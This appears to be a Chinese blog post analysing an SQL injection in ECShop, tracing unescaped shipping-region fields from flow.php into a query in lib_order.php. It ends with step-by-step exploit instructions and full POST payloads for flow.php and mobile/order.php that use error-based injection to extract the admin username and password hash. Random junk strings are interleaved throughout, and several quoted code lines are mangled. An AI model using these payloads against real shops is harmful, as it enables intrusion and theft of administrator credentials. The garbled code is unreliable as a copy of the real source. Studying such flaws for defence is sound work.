ecshop全版本注入分析

admin

前段时间大概2012年圣诞节左右，在t00ls上看见ecshop全版本注入，当时也下载了最新的程序分析了下,最近考试比较忙，今天刚考完，把我分析的记录下来。

    漏洞关键文件：
+ n% K( I1 M- _% D) {
    /includes/lib_order.php
4 x2 G8 V! Q6 q* ~: t4 {
. P7 T! I; H' H. f3 J5 U8 i    关键函数：



9 T! c& z  ~9 z* |01     function available_shipping_list($region_id_list)

02 {
) f  e% v5 v/ a% N) p
4 w: F% t9 S3 r8 ]1 n03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .

04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
3 \& O4 i) [. ]6 N* @
05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .
% W0 M5 w& K3 l
06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .

; r2 M; [& v" ~" t' [07                 $GLOBALS['ecs']->table('area_region') . ' AS r '.

08             'WHERE r.region_id ' . db_create_in($region_id_list) .
+ i! h2 x* k  H3 a- x- s) Z+ h
09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
2 y2 r" d# j* H0 ^: A: D
10   

11     return $GLOBALS['db']->getAll($sql);

) A" E) J! p: a1 X* U7 n! v2 H12 }

) z/ t) V( Q4 F7 i" j; l+ y显然对传入的参数没有任何过滤就带入了查询语句。
) B( q: e6 l" a1 y, d) E& R
下面我们追踪这个函数在flow.php中：
0 G3 q' ?$ d  y  k8 v# c 第531行：   

+ U2 s1 |; Z  m, u+ h+ G% Q1 $shipping_list     = available_shipping_list($region);
& D# p' {) `8 D2 Q: `

" y, k0 I% }9 q, J( w

" A+ P! I2 c2 ~# V# ^  R
再对传入变量进行追踪：

9 @& ?) q. _% a) @# c: ^7 m8 v第530行：   

1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);

7 ]& x4 g5 i. j* F' \: t/ H' u) Q
& |' m, A7 K" V( G# Z

9 e7 h6 p6 q0 j$ s6 \
' r( S5 e, O" S+ |+ Y. D第473行：        
& c" }* B  `" Z: B3 c2 n$ D" W
1 $consignee = get_consignee($_SESSION['user_id']);

到了一个关键函数：

5 A6 M) P* Z) M' ?# G" ?" Z/includes/lib_order.php
4 p% z, k/ u8 ^) M$ a% Z8 W5 O" w. C  D
7 q$ m+ ?  k: m# ?0 E4 i, ~0 M1 p

- V* j9 b0 s9 [
! E, E: v$ a1 H
0 P6 Q  |& O% m) n2 ?01 function get_consignee($user_id)

02 {

1 c! I5 u: l, R- H03     if (isset($_SESSION['flow_consignee']))
9 }1 G7 U/ f5 t; p7 C0 w: p8 `
4 X5 ~( p% x# ]* l% y- A04     {
2 p2 z) I  `3 b8 ?* `! W" ^) @
! V+ c' @! P( e; X05         /* 如果存在session，则直接返回session中的收货人信息 */
1 w& S$ [% T6 M9 O, O/ ?( e' _% v
% J+ i; V/ |: J+ ~06   

07         return $_SESSION['flow_consignee'];
+ t# ^- r  C5 C0 m' b) r
! U/ g/ f" j, W1 ?9 I4 T08     }
) s6 C3 r! Q9 f1 `
09     else

10     {
4 B2 V2 d+ D. I+ u+ q& @; q. I
9 G% S9 n( J0 X. X4 w! Y11         /* 如果不存在，则取得用户的默认收货人信息 */
! `: R" G- V; b/ K! Z) t4 a
( n1 {1 o0 a' e3 K; S12         $arr = array();
. B8 N# r) E/ g" U
13   

6 [& n4 C: k$ ]$ r3 }14         if ($user_id > 0)
# a# @& X% S$ E/ H/ M9 l
9 e: |; [3 ]6 \) a5 \/ R15         {
: q# }+ R8 P' a6 u9 A, W/ g8 M
16             /* 取默认地址 */

17             $sql = "SELECT ua.*".

+ s) M: O, F6 ~  L. D+ a4 G18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
! f! X# N* y  I& k  G
% c" c4 s% v+ |; `7 S1 _19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";
! K6 u2 ?; H& W& |4 Z& h* j
20   
/ A' C6 U" _2 d1 X: a
$ K- [6 R" P2 o0 k4 G! K21             $arr = $GLOBALS['db']->getRow($sql);
7 {7 D+ E6 V; M. u, ]
22         }
# v4 b% n5 g2 u  w0 l( h+ g$ f
" ~% l: K7 R3 z) j7 G! \23   
, r* C# R& \% Q& ~
3 }% t7 p% e& f# e/ ~2 M24         return $arr;
* A" O5 d/ z! E
25     }

8 r1 s& K! s& I* Z  s26 }
" r% V* ^$ p9 \( q( K# z% z2 k* A
显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢？
" N* c8 d. i( z1 N8 g0 L, j
, e8 B" v- n: t; w/ u+ m/ ^: _4 Y
# V+ W4 w- J3 B" A1 m0 R
关键点:
: W7 F, q' g: ^9 v8 B3 S
$ }$ f) q1 _# y2 {( ?第400行：    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
, V" C6 a& Q3 G' q5 a
& s" ]' f* l: L$ O( |5 _3 z# D6 c8 H这里对传入参数反转义存入$_SESSION中。
' l* v2 l( n0 y4 C' \+ V8 L' T/ e, n. D


8 c- {8 s/ {2 o- o5 m) J4 }然后看下：
( v  D! r2 \' _# N4 X

% A5 f0 y/ e1 n7 X! a# ]% x
   
6 c" k; S; F; i0 [7 r
; N# w/ F1 U5 h) o- _# c0 ?! m01 $consignee = array(
) G6 G4 X. b/ r" F. m9 `
02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']),

03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),
  L" k& F" j" B6 l: l
04         'country'       => empty($_POST['country'])    ? '' _POST['country'],
- e5 A0 o3 u6 d% P
8 l) U! k7 X4 M: v2 z( N05         'province'      => empty($_POST['province'])   ? '' _POST['province'],

06         'city'          => empty($_POST['city'])       ? '' _POST['city'],

07         'district'      => empty($_POST['district'])   ? '' _POST['district'],

08         'email'         => empty($_POST['email'])      ? '' _POST['email'],

09         'address'       => empty($_POST['address'])    ? '' _POST['address'],
! T& p/ p7 H- D; W  V) k% y3 r
! L8 {: |: a5 D1 f! E' |% v10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])),
" P0 J2 l7 w( @, ^- P
11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])),

12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])),
9 M7 V. P  D0 t! j) x
13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],
1 ~8 c8 f6 Y: b
14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'],

15     );

好了注入就这样出现了。

7 u5 @% @  s6 Y) e. _6 ~$ \==================

注入测试：

  u" j1 d4 F8 {9 ~+ o环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
# A( E% `; M7 |6 B
测试程序：ECShop_V2.7.3_UTF8_release1106
& [; y6 l6 n) S) \


' e" a( z2 ]' l9 M4 }8 q6 o* P' k1.首先需要点击一个商品加入购物车

2.注册一个会员帐号
& j: V( d& F  U2 O+ Z/ j  F
: Z( x" y6 B7 L( L- g3 t3.post提交数据

$ O9 y6 i( F. Y' k4 k
/ S/ [& b* K+ x  C
1 http://127.0.0.1/ecshop/flow.php
! D5 w8 a  ?3 p8 U& ]
2   

3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
8 \! M, U. S5 T2 c% y% A/ N9 `举一反三，我们根据这个漏洞我们可以继续深入挖掘：
! \+ |! u. g, d
) @  a8 K" p2 W我们搜寻关键函数function available_shipping_list()

  ^) X0 t, Y) l3 x* R) O: B在文件/moblie/order.php中出现有，次文件为手机浏览文件功能基本和flow.php相同，代码流程基本相同
  u: ^: ?  ]9 e# n2 W0 C
) w7 z0 `% \8 ^) U* S: A利用exp:

1.点击一个商品，点击购买商标

2.登录会员帐号
4 H3 q! S) g/ H
- a; G- j8 Z, _* K7 l3.post提交：
$ _5 g! Z! y( A5 Q
http://127.0.0.1/ecshop/mobile/order.php
  a* v! D, A/ R. ~
( K) V3 K( t( `7 J- U' A

- ^5 w+ F+ E/ Jcountry=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
' @( Z  P. H5 z; S$ |- w